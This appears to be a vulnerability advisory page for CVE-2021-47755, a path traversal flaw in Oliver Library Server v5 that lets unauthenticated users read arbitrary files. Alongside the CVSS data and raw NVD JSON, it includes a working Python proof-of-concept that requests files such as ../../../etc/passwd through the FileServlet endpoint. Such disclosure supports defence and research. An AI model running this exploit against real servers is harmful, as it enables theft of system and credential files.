Security Vulnerability Report
中文
CVE-2021-47755 CVSS 7.5 HIGH

CVE-2021-47755

Published: 2026-01-15 16:16:06
Last Modified: 2026-01-26 16:15:55

Description

Oliver Library Server v5 contains a file download vulnerability that allows unauthenticated attackers to access arbitrary system files through unsanitized input in the FileServlet endpoint. Attackers can exploit the vulnerability by manipulating the 'fileName' parameter to download sensitive files from the server's filesystem.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:softlinkint:oliver_v5_library:*:*:*:*:*:*:*:* - VULNERABLE
Oliver Library Server v5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2021-47755 PoC - Oliver Library Server Arbitrary File Read # Target: Oliver Library Server v5 FileServlet endpoint # Vulnerability: Path traversal in fileName parameter def exploit_cve_2021_47755(target_url, filename): """ Exploit for CVE-2021-47755: Oliver Library Server v5 Arbitrary File Read Args: target_url: Base URL of the vulnerable server filename: File to read (can use path traversal like ../../../etc/passwd) Returns: Content of the requested file """ # Construct the FileServlet endpoint endpoint = f"{target_url.rstrip('/')}/FileServlet" # Prepare the malicious request params = { 'fileName': filename # Path traversal payload } try: # Send GET request without authentication response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully read file: {filename}") print(f"[+] File content length: {len(response.content)} bytes") return response.content else: print(f"[-] Failed to read file. Status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2021_47755.py <target_url> ") print("Example: python cve_2021_47755.py http://target.com:8080 ../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] content = exploit_cve_2021_47755(target, file_to_read) if content: print("\n=== File Content ===") print(content.decode('utf-8', errors='ignore'))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47755", "sourceIdentifier": "[email protected]", "published": "2026-01-15T16:16:06.350", "lastModified": "2026-01-26T16:15:55.253", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Oliver Library Server v5 contains a file download vulnerability that allows unauthenticated attackers to access arbitrary system files through unsanitized input in the FileServlet endpoint. Attackers can exploit the vulnerability by manipulating the 'fileName' parameter to download sensitive files from the server's filesystem."}, {"lang": "es", "value": "Oliver Library Server v5 contiene una vulnerabilidad de descarga de archivos que permite a atacantes no autenticados acceder a archivos de sistema arbitrarios a través de entrada no saneada en el endpoint FileServlet. Los atacantes pueden explotar la vulnerabilidad manipulando el parámetro 'fileName' para descargar archivos sensibles del sistema de archivos del servidor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:softlinkint:oliver_v5_library:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.00.008.053", "matchCriteriaId": "75D5CDA9-CADE-4A89-BE0B-E65CB6C052FB"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50599", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.softlinkint.com/product/oliver/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50599", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}